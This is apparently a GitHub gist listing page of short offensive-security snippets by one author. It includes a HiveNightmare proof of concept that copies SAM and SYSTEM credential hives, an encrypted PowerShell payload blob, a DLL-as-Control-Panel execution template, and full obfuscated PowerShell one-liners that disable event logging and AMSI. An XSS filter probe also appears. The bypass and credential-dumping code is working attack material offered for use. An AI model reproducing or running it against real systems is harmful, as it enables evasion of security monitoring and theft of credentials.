reigningshells’s gists

reigningshells / DllExportLister.cs

Created September 5, 2021 02:55

Simple C# program to list exports of 32 and 64 bit DLLs - output mirrored from dumpbin /exports

	using System;
	using System.Linq;
	using System.Runtime.InteropServices;

	namespace DLLExportLister
	{
	class Program
	{
	// Can't use sizeof for IMAGE_SECTION_HEADER because of unmanaged type
	public const int SizeOfImageSectionHeader = 40;

reigningshells / Invoke-HiveNightmare.ps1

Last active February 7, 2024 20:47

Super simple PowerShell PoC for HiveNightmare / SeriousSam that copies SAM and SYSTEM hive shadow copies to C:\Users\Public\Documents

	function Invoke-HiveNightmare
	{
	if(((Get-Acl -LiteralPath C:\Windows\System32\config\sam).Access \| where{($_.IdentityReference -eq "BUILTIN\Users") -and ($_.FileSystemRights -like "Read")}).Count -gt 0)
	{
	Write-Output "[*] VULNERABLE - BUILTIN\Users have Read access on C:\Windows\System32\config\sam"
	}
	else
	{
	Write-Output "[!] BUILTIN\Users do not have Read access on C:\Windows\System32\config\sam but may on volume shadow copies"
	}

reigningshells / Cplapplet.cpp

Created March 7, 2021 03:36

DllMain template to execute code in a .cpl file which is just a renamed DLL that exports a function CplApplet

	// dllmain.cpp : Defines the entry point for the DLL application.
	#include "pch.h"
	#include <Windows.h>

	extern "C" __declspec(dllexport) LONG CplApplet()
	{
	MessageBoxA(NULL, "Replace this message box with something more interesting...", "Control Panel", 0);
	return 1;
	}

reigningshells / HH2020-tag-generator-pseudo-shell.py

Created January 23, 2021 15:04

SANS Holiday Hack 2020 Broken Tag Generator Exploit - Solution for Objective 8

reigningshells / cert-transparency-extractor.py

Last active July 20, 2020 19:42

Simple script to extract hostnames from cert transparency logs at crt.sh

	#!/usr/bin/env python3

	import sys
	import argparse
	import requests
	from lxml import html
	import urllib3

	# Nobody wants to see SSL warnings :-P
	urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

reigningshells / cryptedkerb.ps1

Created February 5, 2020 17:53

	function Expand-Script($Key)
	{

	$script = 'aYBcG3Uj0ZnntfLj7RcOGoI2DF7qsMjyiUl8sSgzNuiasymplD/6TedvjCI9NxVWeKoPGahMzCTi7XaBc1qUKQc0sFHiel6Ws4MnXSyd5KOXrTaA6DguIDDJAFypuittSp5ENc6A3SUZUHMB+dDHDwycN6cY6Olq7qB8c5Q2CiTdaieiwp7VbSCAgzJxD4QLQWlxqXDcaJ0caqnaPvUDgJUdgDvO9Ts6JBankNuMTaUsb02+ocZBz/7acSatXFLBQqi+1mAiIBDrCSoMYcFCswS0A9XNN5z/n1Z/ver8Qy53jJDBUrhwI79/4oKtdohzEbSyYtHs6JQKaanPGhtqlAZxiq1Y3IWFzt6xytNx6ULsKIASIo0CQ08dx5ECYZFpulo+LC+NrQxYzNigqkrgdHT01rEQr4EUFslvEknLEDOal9SRX2IfWTvKe64uUbWZmSmqLyOBajlEjvflEog5jKLVTXLY2fpzPVuJQANM8r5TcfO2GS7Sit2sb2cv8yZqWixypQtwqRgAjeDHuhtdKVk3cvfOyS7XoUzyv880DiTr1k5RAX0vxbqStjz41HP4FitJCHjfK4w4QljnllCAjU9n2bvqqQ3t2TMdFH2WTLs//cN1ci3gT3YKLo2UI/PUuZtYfv3pPRwtF+0aZncjAEFB413kUuDyotzFXqcfo0M/kq44LXsi1j7/YvmcJ9q6YfpcDxFmJ4+2wdk28iSMIOz9d303s2FU9K740jcM5ftdCD8/+vAT8lRg7zfUGZ5AHgb7864408gGgI4+xZKGK4FR+0RdAd7zs7D+yeIfWdkmYrcJ72+y7guk0Od+lFHrxQRWQLZ7MDjpjD1+qIu+O4YuSiUtDYLAix0iT3G8o3Kqq9lwZ3P9j42hwoNjrXI0TPY42OTGqZDRPUJl+V4bMy+0GTJ2Vq/+peNI4qjBPH0XPMU4+S1gizFPSPXKz/S4upC3yhP6fie6UVBPZAk

reigningshells / script-encoder.ps1

Last active January 30, 2020 18:57

Just some script encoding musings

	Function Encode-Script
	{
	Param(
	[Parameter(Position = 0, Mandatory = $True)]
	[String]
	$Data,

	[Parameter(Position = 1, Mandatory = $True)]
	[String]
	$Key

reigningshells / powershell-bypasses.ps1

Last active August 28, 2024 11:30

Random PowerShell Bypasses

	# Logging bypass:

	(({}).gettype())."aSs`emblY"."Getty`PE"(('System.Manage'+'ment.Automati'+'on.Trac'+'ing.P'+'SEtwL'+'og'+'Pro'+'vi'+'d'+'e'+'r'))."gEtf`ieLD"(('etwProvi'+'de'+'r'),('Non'+'P'+'ublic,Static'))."Se`TVAL`Ue"($null,(New-Object System.Diagnostics.Eventing.EventProvider(New-Guid)))

	# AMSI Bypass (old, burned)

	sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )

	# New AMSI bypass obfuscation:

reigningshells / badchars.py

Created May 24, 2019 18:45

Simple script to identify an XSS filters "bad characters"

	#!/usr/bin/env python

	"""

	Very simple script to automate the discovery of
	bad characters in XSS filters that replace
	the entire user input string with an empty string

	[CR] = Carriage Return or \r
	[LF] = Line Feed or \n